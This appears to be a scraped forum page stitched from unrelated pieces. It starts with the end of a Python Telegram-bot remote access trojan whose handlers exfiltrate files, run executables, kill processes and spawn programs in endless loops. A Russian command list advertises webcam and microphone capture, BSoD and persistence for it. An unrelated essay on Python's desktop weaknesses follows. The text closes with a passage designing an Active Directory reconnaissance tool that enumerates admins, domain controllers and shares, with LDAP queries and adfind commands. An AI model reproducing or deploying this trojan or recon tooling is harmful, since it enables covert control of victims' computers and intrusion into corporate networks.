@bot.message_handler(commands=['download'])
def download(message):
try:
user_msg = "{0}".format(message.text)
download = open(os.getcwd() + '\\' + user_msg.split("/download ")[1], 'rb')
bot.send_chat_action(adm, 'upload_document')
bot.send_document(adm, download)
except:
try:
shutil.make_archive('C:\\ProgramData\\' + user_msg.split("/download ")[1],
'zip',
os.getcwd(),
user_msg.split("/download ")[1])
bot.send_chat_action(adm, 'upload_document')
file = open('C:\\ProgramData\\' + user_msg.split("/download ")[1] + '.zip', 'rb')
bot.send_document(adm, file)
file.close()
os.remove('C:\\ProgramData\\' + user_msg.split("/download ")[1] + '.zip')
except FileNotFoundError:
os.remove('C:\\ProgramData\\' + user_msg.split("/download ")[1] + '.zip')
bot.send_message(adm, '*Файл не найден*', parse_mode="Markdown")
except:
bot.send_message(adm, '*Введите название файла*\n \n/download', parse_mode="Markdown")
@bot.message_handler(commands=['Run'])
def run(message):
try:
bot.send_chat_action(adm, 'typing')
user_msg = "{0}".format(message.text)
os.startfile(os.getcwd() + '\\' + user_msg.split("/Run ")[1])
bot.send_message(adm, 'Файл *' + user_msg.split("/Run ")[1] + '* запущен!', parse_mode="Markdown")
except FileNotFoundError:
bot.send_message(adm, '*Файл не найден*', parse_mode="Markdown")
except:
bot.send_message(adm, '*Введите название файла*\n \n/Run', parse_mode="Markdown")
@bot.message_handler(commands=['run'])
def run(message):
try:
bot.send_chat_action(adm, 'typing')
user_msg = "{0}".format(message.text)
os.startfile(os.getcwd() + '\\' + user_msg.split("/run ")[1])
bot.send_message(adm, 'Файл *' + user_msg.split("/run ")[1] + '* запущен!', parse_mode="Markdown")
except FileNotFoundError:
bot.send_message(adm, '*Файл не найден*', parse_mode="Markdown")
except:
bot.send_message(adm, '*Введите название файла*\n \n/Run', parse_mode="Markdown")
@bot.message_handler(commands=['PWD', 'pwd'])
def pwd(commands):
try:
bot.send_chat_action(adm, 'typing')
dirs = '\n``'.join(os.listdir(path="."))
bot.send_message(adm, '`' + os.getcwd() + '`\n \n' + '`' + dirs + '`', parse_mode="Markdown")
except:
try:
bot.send_chat_action(adm, 'typing')
dirse = '\n'.join(os.listdir(path="."))
splitted_text = util.split_string(dirse, 4096)
for dirse in splitted_text:
bot.send_message(adm, '`' + dirse + '`', parse_mode="Markdown")
except:
bot.send_message(adm, 'Error > PWD')
@bot.message_handler(commands=['CancelFiles', 'cancelfiles'])
def cancelfiles(commands):
bot.send_chat_action(adm, 'typing')
bot.send_message(adm, 'ok', reply_markup=main6)
@bot.message_handler(commands=['Tasklist', 'tasklist'])
def tasklist(command):
try:
bot.send_chat_action(adm, 'upload_document')
os.system('tasklist> C:\\ProgramData\\Tasklist.txt')
tasklist = open('C:\\ProgramData\\Tasklist.txt')
bot.send_document(adm, tasklist)
tasklist.close()
os.remove('C:\\ProgramData\\Tasklist.txt')
except:
bot.send_message(adm, 'Error > Tasklist')
@bot.message_handler(commands=['Taskkill', 'taskkill'])
def taskkill(message):
try:
bot.send_chat_action(adm, 'typing')
user_msg = "{0}".format(message.text)
subprocess.call("taskkill /f /im " + user_msg.split(" ")[1] + '.exe')
bot.send_message(adm, "Процесс *" + user_msg.split(" ")[1] + "* остановлен!", parse_mode="Markdown")
except:
bot.send_message(adm, '*Введите название процесса*\n \n/Taskkill', parse_mode="Markdown")
@bot.message_handler(commands=['Message'])
def message(message):
try:
bot.send_chat_action(adm, 'typing')
user_msg = "{0}".format(message.text)
ctypes.windll.user32.MessageBoxW(0, user_msg.split("/Message ")[1], u'Information', 0x40)
bot.send_message(adm, 'Сообщение отправленно!')
except:
bot.send_message(adm, '*Введите сообщение*\n \n/Message', parse_mode="Markdown")
@bot.message_handler(commands=['message'])
def message(message):
try:
bot.send_chat_action(adm, 'typing')
bot.send_message(adm, 'Сообщение отправленно!')
user_msg = "{0}".format(message.text)
ctypes.windll.user32.MessageBoxW(0, user_msg.split("/message ")[1], u'Information', 0x40)
except:
bot.send_message(adm, '*Введите сообщение*\n \n/message', parse_mode="Markdown")
@bot.message_handler(commands=['OpenURL', 'openurl'])
def openurl(message):
try:
bot.send_chat_action(adm, 'typing')
user_msg = "{0}".format(message.text)
url = user_msg.split(" ")[1]
webbrowser.open_new_tab(url)
bot.send_message(adm, "Ссылка открыта!")
except:
bot.send_message(adm, '*Вставьте ссылку*\n \n/OpenURL', parse_mode="Markdown")
@bot.message_handler(commands=['OpenEXE', 'openexe'])
def openexe(commands):
bot.send_chat_action(adm, 'typing')
bot.send_message(adm, 'ok', reply_markup=main9)
@bot.message_handler(commands=['StartFile', 'startfile'])
def startfile(commands):
bot.send_chat_action(adm, 'typing')
bot.send_message(adm, '*Выберите программу*', reply_markup=main10, parse_mode="Markdown")
@bot.message_handler(commands=['RunPaint', 'runpaint'])
def runpaint(commands):
try:
bot.send_chat_action(adm, 'typing')
os.startfile('mspaint.exe')
bot.send_message(adm, 'Готово!')
except:
bot.send_message(adm, 'Error > RunPaint')
@bot.message_handler(commands=['RunCMD', 'runcmd'])
def runcmd(commands):
try:
bot.send_chat_action(adm, 'typing')
os.startfile('cmd.exe')
bot.send_message(adm, 'Готово!')
except:
bot.send_message(adm, 'Error > RunCMD')
@bot.message_handler(commands=['RunEXE', 'runexe'])
def runexe(message):
try:
bot.send_chat_action(adm, 'typing')
user_msg = "{0}".format(message.text)
os.startfile(user_msg.split(" ")[1] + '.exe')
bot.send_message(adm, 'Готово!')
except:
bot.send_message(adm, '*Введите имя программы* \n \n/RuunEXE', parse_mode="Markdown")
@bot.message_handler(commands=['InfinityOpen', 'infinityopen'])
def infinityopen(commands):
bot.send_chat_action(adm, 'typing')
bot.send_message(adm, '*Выберите программу*', reply_markup=main11, parse_mode="Markdown")
@bot.message_handler(commands=['RuunPaint', 'ruunpaint'])
def ruunpaint(commands):
try:
bot.send_chat_action(adm, 'typing')
bot.send_message(adm, 'Готово!')
while True:
os.startfile('mspaint.exe')
except:
bot.send_message(adm, 'Error > Paint')
@bot.message_handler(commands=['RuunCMD', 'ruuncmd'])
def ruuncmd(commands):
try:
bot.send_chat_action(adm, 'typing')
bot.send_message(adm, 'Готово!')
while True:
os.startfile('cmd.exe')
except:
bot.send_message(adm, 'Error > CMD')
@bot.message_handler(commands=['RuunEXE', 'ruunexe'])
def ruunexe(message):
bot.send_chat_action(adm, 'typing')
bot.send_message(adm, 'Готово!')
while True:
try:
user_msg = "{0}".format(message.text)
os.startfile(user_msg.split(" ")[1] + '.exe')
except:
bot.send_message(adm, '*Введите имя программы* \n \n/RuunEXE', parse_mode="Markdown")
break
@bot.message_handler(commands=['CancelFun', 'cancelfun'])
def cancelfun(commands):
bot.send_chat_action(adm, 'typing')
bot.send_message(adm, 'ok', reply_markup=main8)
try:
bot.polling()
except:
os.startfile(os.startfile(sys.argv[0]))
sys.exit()
[/CLIKE]
ᅠᅠᅠᅠᅠ
Команды
—————————————————————
/Screen - Скриншот экрана
/Webcam - Фото с вебки
/WebcamVid - Видео с вебки
/Audio - Запись микрофона
/Power - Управление питанием
/PowerOff - Выключить
/Reboot - Перезагрузить
/BSoD - Синий экран смерти
/AutoRun - Сохранить | Удалить
/Startup - Добавить в автозагрузку
/Remove - Удалить ратник
—————————————————————
/Files - Файловый менеджер
/CD - Текущая директория
/Pwd - Просмотр содержимого
/Delete - Удалить файл
/Download - Скачать файл
/Run - Запустить файл
/Tasklist - Список процессов
/Taskkill - Остановить процесс
—————————————————————
/Message - Отправить сообщение
/OpenURL - Открыть ссылку
/OpenEXE - Открыть программу
/StartFile - Открыть один раз
/InfinityOpen - Открыть много раз
—————————————————————
Spoiler: Кодер
Не я
Python — один из самых популярных языков программирования, особенно среди разработчиков, занимающихся наукой о данных, веб-разработкой и автоматизацией задач. Несмотря на его широкое распространение и простоту использования, Python не является лучшим выбором для разработки настольных приложений.
Основная проблема заключается в медленной производительности. Python интерпретируется, что приводит к снижению скорости выполнения программ. Для настольных приложений, требующих высокой отзывчивости и выполнения сложных вычислительных задач, медленная производительность является критическим недостатком. Программы на Python могут демонстрировать заметные задержки в работе интерфейса или в обработке пользовательских запросов, что негативно сказывается на пользовательском опыте.
Ограниченные возможности GUI-библиотек также играют значительную роль. В Python существует несколько библиотек для создания графических интерфейсов, таких как Tkinter, PyQt и wxPython, однако они уступают по функциональности и производительности фреймворкам, предназначенным для других языков. Tkinter, например, является стандартной библиотекой для создания GUI в Python, но он обладает ограниченным набором возможностей и создает устаревшие интерфейсы. PyQt и wxPython предлагают больше функций, но их использование требует больших усилий для достижения тех же результатов, что и в других языках, таких как C# с WPF или Java с JavaFX.
Развёртывание настольных приложений, написанных на Python, сопряжено с проблемами, особенно в контексте кроссплатформенности. Python требует установки интерпретатора и всех необходимых зависимостей на устройстве пользователя. Это может вызвать проблемы совместимости, особенно если на устройстве уже установлены другие версии Python или библиотеки. Процесс развёртывания может быть более сложным и требовать дополнительных шагов для обеспечения стабильной работы приложения. Упаковка Python-приложения в один исполняемый файл с использованием PyInstaller зачастую приводит к большим размерам файлов и нестабильности.
Ограниченная поддержка многопоточности представляет собой ещё одну проблему. Глобальная блокировка интерпретатора (Global Interpreter Lock, GIL) ограничивает одновременное выполнение нескольких потоков, что может снизить производительность многопоточных приложений. Обходные пути, такие как использование многопроцессной обработки или внешних библиотек на C, усложняют разработку и не всегда эффективны. Для настольных приложений, требующих высокой параллельной обработки, таких как редакторы изображений, игры или научные приложения, это серьёзное препятствие.
Недостаток специализированных инструментов и библиотек также ограничивает возможности Python для разработки настольных приложений. В других языках программирования, таких как C# или C++, существует множество специализированных библиотек и инструментов, которые упрощают создание современных, красивых и эффективных интерфейсов. В экосистеме Python таких мощных средств для создания GUI нет, а многие популярные библиотеки, такие как PyQt, имеют ограниченные возможности для интеграции с другими технологиями, что делает разработку более сложной и продолжительной.
Создание современного настольного приложения требует интеграции с различными системными компонентами, поддержки новых стандартов, таких как работа с сенсорными экранами, интеграции с облачными сервисами и обеспечения безопасности. Языки программирования, такие как C# или Swift, предлагают обширные библиотеки и инструменты для работы с современными стандартами. Python сильно отстает в этом плане, что делает разработку, тестирование и поддержку подобных функций более сложной и ресурсозатратной.
Хотя Python можно использовать для создания кроссплатформенных приложений с помощью Kivy, это требует значительных усилий и не всегда дает удовлетворительные результаты. Многие популярные фреймворки, такие как React Native или Flutter, предлагают более эффективные решения для создания приложений, работающих на различных платформах, включая мобильные устройства. Python-приложения часто сталкиваются с проблемами производительности, адаптации интерфейса и доступа к нативным функциям устройства, что делает его менее привлекательным для разработки таких проектов.
Python является мощным инструментом для многих задач, но для разработки настольных приложений он не всегда является лучшим выбором. Медленная производительность, ограниченные возможности GUI, сложности с развёртыванием и поддержкой многопоточности, а также отсутствие специализированных инструментов и библиотек могут существенно осложнить разработку. Высокопроизводительное, современное и функциональное настольное приложение лучше разрабатывать на других языках программирования, таких как C#, C++ или Java.
Автор Snow
Источникhttps://xss.is
Дядюшка Боб, как он сам себя называет в своих трудах, – это Роберт Мартин,
автор таких мировых бестселлеров как «Чистый код», «Чистая архитектура,
искусство разработки программного
обеспечения » и многих других. Настоятельно рекомендую к изучению.
По роду своей деятельности часто приходится собирать информацию о сети. Паблик
продукты, даже общепризнанные, для этих целей не всегда подходят поскольку их
функционал недостаточен или избыточен. Ну и про качество кода я уже
неоднократно тут говорил. Видимо пришло время подтвердить слова действием. Я
не буду приводить весь код проекта. Цель данной статьи –показать использование
принципов построения архитектуры приложения.
1.1.1 Что мы хотим получить
Наиболее часто приходится собирать информацию о:
• пользователях, в частности мы хотим знать:
– общее количество пользователей;
– список пользовательских групп;
– список администраторов домена;
– список Ынтерпрайзных админов;
– до кучи еще хотелось бы знать к каким группам принадлежит пользователь, под
которым мы авторизованы в текущий момент времени.
• компьютерах, а именно
– общее количество активных хостов в домене;
– список и количество серверов;
– список и количество рабочих станций;
– список и количество контроллеров домена;
– статистику по установленным операционным системам – очень полезная штука для
поиска уязвимостей, но об этом в другой раз (о поиске уязвимостей).
• список общих сетевых ресурсов – так называемых «шар», в том числе понимать
какие права для обращения к ним имеются у текущего пользователя (чтение,
запись). А еще мы хотим делать это в несколько потоков и быстро, или наоборот
– будем вести себя очень тихо и опрашивать по одному хосту за произвольный
период времени.
А еще мы хотим чтобы результаты обработки полученной информации были разложены по полочкам. Юзеры к юзерам, админы к админам, шары к шарам, рабочие станции, сервера и контроллеры домена тоже должны быть на своих местах.
1.2 Инструменты необходимые для решения задачи.
Было бы наивно полагать, что подобная задача не возникала ранее.
Соответственно и методы ее решения должны быть в открытом доступе. Несколько
минут гугления и вуаля – найден инструмент решающий подобную задачу.
https://github.com/SecuProject/ADenum
Смотрим видео - ну вроде похоже на правду. Смотрим в код. Плачем. Еще раз
открываем. Опять рыдаем крокодильими кровавыми слезами. Для перечисления
недостатков этого проекта понадобится отдельная статья, поэтому мы их примем
как
данность и постараемся не повторить чужих ошибок. По мере изложения я, тем или
иным способом, буду указывать на них.
Ниже будут рассмотрены основные подходы к решению задачи.
1.2.1 LDAP
Открываем код проекта и видим, что получение информации о сети основано на
выполнении LDAP запросов.
Открываем вики и понимаем, что LDAP – это (англ. Lightweight Directory
Access Protocol –
«легковесный протокол доступа к каталогам»), – протокол прикладного уровня
для доступа к службе каталогов X.500, разработанный IETF как облегчённый
вариант разработанного ITU-T протокола DAP. LDAP – относительно простой
протокол, использующий TCP/IP и позволяющий производить операции
аутентификации (bind), поиска (search) и сравнения (compare), а также операции
добавления, изменения или удаления записей. Обычно LDAP – сервер принимает
входящие соединения на порт 389 по протоколам TCP или UDP. Для LDAP-сеансов,
инкапсулированных в SSL, обычно используется порт 636. Опять смотрим в код,
вики, тщательно гуглим и понимаем, что для выполнения LDAP запросов нам
понадобится:
1. установить соединение со службой каталогов;
2. сформировать запрос используя такие магические штуковины, как
ObjectToSearch и AttributeToSearch. Почему магические? Ну а как еще
неподготовленный пользователь может назвать строку вида:
Bash:Copy to clipboard
object_to_search = ’(&(objectCategory=person)(objectClass=user) (userAccountControl:1.2.840.113556.1.4.803:=1048576))’
3. выполнить запрос и получить его результаты;
4. обработать результаты выполнения запроса, отбросив не валидные записи.
1.2.2 Обработка аргументов командной строки.
В коде проекта ADEnum реализована такая обработка. Только вы сначала ее там
найдите. А потом попробуйте без поллитры разобраться в ее устройстве. Удачи.
Значит нам понадобится свой собственный парсер аргументов командной строки.
Естественно, что писать его с нуля никто не собирается, но его код должен быть
вынесен в отдельный модуль.
1.2.3 Logger
Логи - наше всё. Без них существование более-менее серьезного продукта
невозможно. Поэтому логгер у нас тоже будет. Свой или допилим чужой – не
важно, но он тоже будет жить в отдельном модуле, а еще научим его в
многопоточность и записи в файл.
1.2.4 Модуль обработки результатов
В настоящее время, на этапе проектирования, я понятия не имею как должен
выглядеть результат, поэтому воспользуемся одним из советов дядюшки Боба и
отложим решение этого вопроса на самый последний момент. Мы объявим
интерфейсы, но реализацию оставим пустой. То же самое касается и остальных
модулей, за исключением LDAP. Там, как раз, всё просто и понятно.
2 Проектирование архитектуры.
Грамотно спроектированная архитектура экономит сотни человекочасов и, как
минимум, десятки тысяч вечнозеленых бумажек. Поэтому придется потратить
некоторое время на старте, чтобы потом безболезненно добавлять функционал.
Итак, начнем, конечно же, с LDAP. Поскольку он будет одной из ключевых составляющих ядра системы.
2.1 Проектирование архитектуры модуля обработки LDAP запросов
Как уже говорилось выше, у нас будет 3 подмодуля здесь. А именно:
• модуль управления соединением;
• модуль выполнения запросов;
• модуль сбора и обработки результатов;
Поехали.
2.1.1 LDAPConnection - модуль обеспечивающий соединение по LDAP и управление им.
Давайте разбираться что нам понадобится для подключения к службе каталогов.
Опять, смотрим в код проекта ADEnum, гуглим, изучаем. В итоге приходим к
выводу, что нам понадобятся следующие параметры:
• domainName – имя домена, необходимо для формирования строки вида username +
’@’ + domain_name, которая будет использоваться при установки соединения в
качестве параметра;
• username – имя пользователя;
• password – пароль;
• ipAddress – адрес контроллера домена, поскольку служба каталогов живет там;
• useLdapWithSsl – флаг, на случай если мы решим использовать SSL соединение
для подключения;
• baseDn – Distinguished Name – уникальное представление записи имени домена,
ее мы получим самостоятельно. Ниже будет пример кода.;
• LdapVersion – версия протокола LDAP;
Первая мысль - передавать все эти параметры в конструктор. Идея хорошая, но
тогда мы получим много веселья связанного с тем, что на данном этапе мы не
знаем ничего о точном количестве параметров и их типах. Кроме того, желательно
предусмотреть их возможное изменение в будущем. Мы же хотим сделать
качественный продукт, а не одноразовую поделку. Поэтому все параметры мы
завернем в класс и будем передавать уже экземпляр класса. А с учетом того, что
мы только в начале пути, и с подобной ситуацией столкнемся неоднократно, то
сюда прямо просится создание базового класса с минимальным набором полей и
методов, которые будут реализованы в дочерних. Если бы разработка велась на
С-подобном языке, то можно было бы смело передавать
указатель на базовый класс и не греть голову. Но у нас питон. Он, конечно,
умеет в ООП, но придется несколько извратиться. Подробности ниже.
Преимущества такого решения:
• мы не зависим от количества и типов параметров;
• можно вынести единый функционал для все конфигов в абстрактные методы
базового класса, и реализовать их в наследниках. В частности нам точно
понадобится метод валидации конфига и метод вывода на экран;
• возможность версионирования и поддержка обратной совместимости.
Недостатки – придется писать чуть больше кода и чуть тщательнее следить за реализацией.
Подробное описание модуля конфигурации смотри ниже.
А сейчас вернемся к нашим баранам. То бишь к LDAP. Здесь и далее предполагаем,
что конфиги и логгер у нас уже реализованы. Итак. Давайте попробуем
разобраться с функциональностью класса, обеспечивающего соединение. Логично
предположить, что это будут примерно следующие методы:
• инициализация параметров соединения;
• установка соединения;
• разрыв соединения;
• обработка ошибок.
Начнем с описания ошибок. Могут возникнуть следующие проблемы:
• Ошибка авторизации – нам дали неверные креды. Авторизоваться не удалось.
Беда. Завершаем работу.
• Недоступен сервер – лежит сервер по непонятной нам причине и мы ничего
сделать не можем, разве что попросить админа .
• Истекло время ожидания ответа сервера – тут очевидно.
• Другие ошибки – мы про них ничего не знаем, но предполагаем, что они могут
быть. Поэтому для описания типов ошибок будем использовать перечисление.
Python:Copy to clipboard
class LdapLoginError(enum.Enum):
NO_ERROR = 0
INVALID_CREDENTIALS = 1
SERVER_DOWN = 2
OTHER_ERROR = 3
TIMEOUT_ERROR = 4
Установка соединения.
Python:Copy to clipboard
def is_ldap_connection_established(self) -> bool:
DumpLogger.print_title(f'{self.title} is_ldap_connection_established')
if self.ldap_config.ip_address is None:
DumpLogger.print_warning('ip address not specified, a default value will be used')
ip_address = NetworkUtils.ger_current_host_ip_address(self.ldap_config.domain_name)
if ip_address is None:
DumpLogger.print_error('Unable to resolve a domain name:', self.ldap_config.domain_name)
return False
self.ldap_config.ip_address = ip_address
DumpLogger.highlight_dark_blue("current ip:\t" + self.ldap_config.ip_address)
self.__setup_ldap_connection()
if self.connection is None:
DumpLogger.print_error_message('invalid LDAP connection')
return False
return self.__is_success_ldap_login(self.ldap_config.domain_name, self.ldap_config.password,
self.ldap_config.username)
Отключение.
Python:Copy to clipboard
def disconnect(self) -> None:
self.connection.unbind()
Конструктор класса выглядит так:
Python:Copy to clipboard
class LdapConnection:
def __init__(self, ldap_config: LdapConfig):
self.ldap_config = ldap_config
self.ldap_version = VERSION3
self.connection = ldap.initialize('ldaps://' + self.ldap_config.ip_address)
self.title = 'LdapConnection'
А конфиг ,который мы передаем в качестве параметра выглядит так.
Python:Copy to clipboard
from _ldap import VERSION3
from source.core.ldap.network_utils import NetworkUtils
from source.utils.app_config.configs.app_config import AppConfig
from source.utils.console.console_utils import DumpLogger
from source.utils.network.network_helper import NetworkHelper
class LdapConfig(AppConfig):
def __init__(self, domain_name: str, username: str, password: str, ip_address: str, use_ldap_with_ssl: bool,
base_dn: str):
super().__init__()
self.domain_name = domain_name
self.username = username
self.password = password
self.ip_address = ip_address
self.use_ldap_with_ssl = use_ldap_with_ssl
self.base_dn = base_dn
self.smb_client_dialect = None
self.ldap_version = VERSION3
def print(self):
DumpLogger.print_title('LDAP configuration')
DumpLogger.print_param('domain name', self.domain_name)
DumpLogger.print_param('username', self.username)
DumpLogger.print_param('password', self.password)
DumpLogger.print_param('ip address', self.ip_address)
DumpLogger.print_param('base_dn', self.base_dn)
def is_valid(self) -> bool:
if not NetworkHelper.is_valid_ip_address(self.ip_address):
DumpLogger.print_error('LDAP config. Invalid ip address', self.ip_address)
return False
if NetworkUtils.get_base_dn(self.domain_name) is None:
DumpLogger.print_error('LDAP config. Invalid domain name', self.domain_name)
return False
return True
def help(self):
pass
На этом можно считать предварительную реализацию модуля
управления соединением завершенной.
2.1.2 LDAP query executor – модуль выполнения запросов.
Итак, мы научились устанавливать соединение и это, само по себе, уже
замечательно. Теперь нам нужно научиться выполнять запросы. Для этого нам
понадобится активное соединение и уникальное представление имени домена внутри
LDAP, дальше я его буду звать
Base DN. В итоге конфиг будет у нас следующий:
Python:Copy to clipboard
class LdapQueryExecutorConfig(AppConfig):
def __init__(self, ldap_connection: LdapConnection, base_dn: str):
super().__init__()
self.ldap_connection = ldap_connection
self.base_dn = base_dn
def print(self):
print("LdapQueryExecutor configuration:")
self.ldap_connection.ldap_config.print()
pass
def is_valid(self):
return self.ldap_connection.ldap_config.is_valid()
def help(self):
pass
Все запросы выполняются через LdapConnection и задача LdapQueryExecutor’a передать ему параметры и отправить полученные результаты дальше. Не мудрствуя лукаво просто подсмотрим реализацию в ADEnum и у нас получится примерно следующее.
Python:Copy to clipboard
class LdapQueryExecutor:
def __init__(self, config: LdapQueryExecutorConfig):
self.ldap_connector = config.ldap_connection
self.base_dn = config.base_dn
def search_server_ldap(self, object_to_search: str, attributes_to_search: list) -> list:
result_search = []
try:
result = self.ldap_connector.connection.search_s(self.base_dn, ldap.SCOPE_SUBTREE,
object_to_search,
attributes_to_search)
for info in result:
if info[0] is not None:
result_search.append([info[0], info[1]])
if len(result_search) == 0:
DumpLogger.highlight_warning("No entry found !")
except ldap.OPERATIONS_ERROR as error:
DumpLogger.print_error("OPERATIONS_ERROR: ", str(error))
raise error
except ldap.LDAPError as error:
DumpLogger.print_error("LDAPError: ", str(error))
raise error
return result_search
def search_server_ldap_pages(self, object_to_search: str, attributes_to_search: list) -> list | None:
page_control = SimplePagedResultsControl(True, size=1000, cookie='')
try:
response = self.ldap_connector.connection.search_ext(self.base_dn,
ldap.SCOPE_SUBTREE,
object_to_search,
attributes_to_search,
serverctrls=[page_control])
result = []
pages = 0
while True:
pages += 1
rtype, rdata, rmsgid, serverctrls = self.ldap_connector.connection.result3(response)
result.extend(rdata)
controls = [control for control in serverctrls
if control.controlType == SimplePagedResultsControl.controlType]
if not controls:
print('The server ignores RFC 2696 control')
break
if not controls[0].cookie:
break
page_control.cookie = controls[0].cookie
response = self.ldap_connector.connection.search_ext(self.base_dn,
ldap.SCOPE_SUBTREE,
object_to_search,
attributes_to_search,
serverctrls=[page_control])
result.append(response)
return result
except Exception as err:
DumpLogger.print_error('search_server_ldap_pages', str(err))
raise err
2.1.3 LDAPDataCollector
И, наконец, самое вкусное в данном разделе – модуль сбора и обработки
результатов.
Как обычно начнем с конфига. Здесь он предельно простой.
Python:Copy to clipboard
class LdapDataCollectorConfig(AppConfig):
def __init__(self, ldap_query_executor: LdapQueryExecutor):
super().__init__()
self.ldap_query_executor = ldap_query_executor
def print(self):
DumpLogger.print_title('LdapDataCollector configuration ')
self.ldap_query_executor.ldap_connector.ldap_config.print()
def is_valid(self):
return self.ldap_query_executor.ldap_connector.ldap_config.is_valid()
def help(self):
pass
Наблюдательный читатель сразу заметит, что у нас здесь получилась матрешка из
конфигов и задаст вопрос: "а нахрена?". Отвечу просто. Порядок бьет класс. Все
подробности конфигов, билдеров и иже с ниме в соответствующем разделе.
Пока же рассмотрим основной функционал данного класса. Его конструктор
выглядит следующим образом:
Python:Copy to clipboard
class LdapDataCollector:
def __init__(self, config: LdapDataCollectorConfig):
self.query_executor = config.ldap_query_executor
self.domain_users = list()
self.domain_admins = list()
self.enterprise_admins = list()
self.domain_controllers = list()
self.domain_trusts = list()
self.servers = list()
self.user_pc = list()
self.os_versions = set()
self.server_os_count = 0
self.user_os_count = 0
self.os_counter = defaultdict(list)
self.user_groups = defaultdict(list)
self.computers = dict()
self.ad_organizational_units = list()
self.ad_subnets = list()
self.ad_groups = list()
Фактически – это некий контейнер, аккумулирующий в себе результаты всех запросов. ниже приведен список открытых методов и реализация некоторых из них. Реализацию остальных оставлю на откуп любопытствующим. Там ничего сложного нет.
Python:Copy to clipboard
def get_domain_admins(self) -> list:
DumpLogger.print_title('get_domain_admins')
object_to_search = '(&(objectCategory=user)(adminCount=1))'
result = self.query_executor.search_server_ldap_pages(object_to_search, attributes_to_search=["*"])
for info in result:
if not self.__is_valid_data(info):
continue
res, name, sAMAccountName = self.__get_full_user_information(info)
if not self.__is_valid_query_result(name, res):
continue
self.domain_admins.append(res)
DumpLogger.print_success('Done...')
return self.domain_admins
def get_enterprise_admins(self) -> list:
# your code here
return self.enterprise_admins
def get_user_groups(self, username: str = '') -> list:
DumpLogger.print_title('get_user_groups')
# your code here
DumpLogger.print_success('Done...')
return self.user_groups[username]
def get_domain_controllers(self) -> list:
DumpLogger.print_title('get_domain_controllers')
object_to_search = '(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))'
attributes_to_search = ["dNSHostName", "operatingSystem", "operatingSystemVersion"]
result = self.query_executor.search_server_ldap_pages(object_to_search, attributes_to_search)
self.domain_controllers = self.__get_computers_info(result, is_os_version_needed=True)
DumpLogger.print_success('Done...')
return self.domain_controllers
def get_domain_trusts(self) -> list:
DumpLogger.print_title('get_domain_trusts')
# your ode here
DumpLogger.print_success('Done...')
return self.domain_trusts
def get_domain_computers_full_info(self) -> None:
DumpLogger.print_title('get domain computers full info')
object_to_search = '(&(objectCategory=computer))'
attributes_to_search = ["dNSHostName", "operatingSystem", "operatingSystemVersion"]
result = self.query_executor.search_server_ldap_pages(object_to_search, attributes_to_search)
try:
for info in result:
if not self.__is_valid_data(info):
continue
try:
self.__get_computer_full_info(info)
except Exception as err:
DumpLogger.print_error_message(str(err))
except Exception as err:
DumpLogger.print_error_message(str(err))
DumpLogger.print_success('Done...')
def get_domain_users(self) -> list:
DumpLogger.print_title('get domain users')
# your code here
DumpLogger.print_success('Done...')
return self.domain_users
def get_ad_organizational_unit(self) -> list:
DumpLogger.print_title('get AD organizational units')
object_to_search = '(&(objectcategory=organizationalUnit))'
attributes_to_search = ['*']
result = self.query_executor.search_server_ldap_pages(object_to_search, attributes_to_search)
for info in result:
if not self.__is_valid_data(info):
continue
self.ad_organizational_units.append(info[0])
DumpLogger.print_success('Done...')
return self.ad_organizational_units
def get_ad_subnets(self) -> list:
DumpLogger.print_title('get domain subnets')
# your code here
DumpLogger.print_success('Done...')
return self.ad_subnets
def get_ad_groups(self) -> list:
DumpLogger.print_title('get AD groups')
# your code here
return self.ad_groups
2.2 Выводы.
Мы разделили взаимодействие с LDAP на несколько модулей. Каждый из которых
представляет самостоятельную единицу. Кроме того удалось инкапсулировать всю
«магию» запросов. Для сравнения в том же ADFind для выполнения запроса
необходимо помнить или
постоянно держать под рукой магические строки, например:
Bash:Copy to clipboard
adfind.exe -f "(objectcategory=person)" > ad_users.txt
adfind.exe -f "objectcategory=computer" > ad_computers.txt
adfind.exe -f "(objectcategory=organizationalUnit)" > ad_ous.txt
adfind.exe -sc trustdmp > ad_trusts.txt
adfind.exe -subnets -f (objectCategory=subnet)>ad_subnets.txt
adfind.exe -f "(objectcategory=group)" > ad_groups.txt
adfind.exe -gcb -sc trustdmp > trustdmp.txt
В нашей реализации же все выглядит несколько проще.
Python:Copy to clipboard
query_executor = LdapQueryExecutor(query_executor_config)
data_collector_config = ConfigFactory.create_data_collector_config(query_executor)
data_collector = LdapDataCollector(data_collector_config)
domain_admins = data_collector.get_domain_admins()
subnets = data_collector.get_ad_subnets()
trusts = data_collector.get_domain_trusts()
3 Режимы работы приложения
Теперь поговорим о том, как грамотно организовать работу приложения. То есть
сделать его максимально простым в использовании, удобным для расширения
функционала.
Поехали.
По сути мы хотим снимать дампы сети, включающие в себя различные наборы
параметров. Иногда требуется максимально полная информация о сети, включающая
в себя списки юзеров, хостов, подсетей, групп и еще много чего. Также может
потребоваться мини-
мальный набор данных, включающий лишь количество хостов, пользователей и
список групп, участником (мембером) которых является текущий пользователь, от
имени которого выполняются запросы.
Я рассмотрю два типа дампов, в проекте их несколько больше, но мы же изучаем архитектуру, а не проект.
3.1 Dump
В этом режиме мы собираем необходимый минимум информации о сети как-то:
• список пользователей;
• список доменных админов;
• список ЫнтЫрпрайзных админов;
• список контроллеров домена;
• список трастов;
• список серверов;
• список рабочих станций;
• статистику по операционным системам;
3.2 FullDump
в этом режиме мы хотим собрать всю доступную информацию о сети, дополнив
изначальный дамп:
• списком групп;
• подразделений (OU, organization units);
• подсетей;
• групп, участником которых является текущий пользователь, под которым мы
выполняем запросы;
• общим количеством хостов;
• общим количеством пользователей.
3.3 Проектирование архитектуры.
Хорошо, сейчас у нас два режима работы. Мы можем их относительно безболезненно захардкодить и забыть. Но мы же ЫнтЫрпрайз пишем, поэтому нам просто необходимо заложить возможность расширения.
Давайте рассуждать вслух. Что мы имеем. У нас есть модуль, который соберет всю
информацию и отдаст ее в виде списка коллекций. Только сам по себе он не
является конечным продуктом. Конечный продукт должен представлять собой некий
завершенный результат, с которым можно проводить некие манипуляции. Например,
вывести на экран, сохранить в файл, записать в базу. Воот. У нас уже
прорисовывается каркас класса AbstractProduct и его абстрактные
же методы. Ниже приведен его код.
Python:Copy to clipboard
class AbstractProduct:
def __init__(self):
self.is_valid = True
pass
@abstractmethod
def print_results(self):
pass
@abstractmethod
def save(self, app_config: AppConfig):
pass
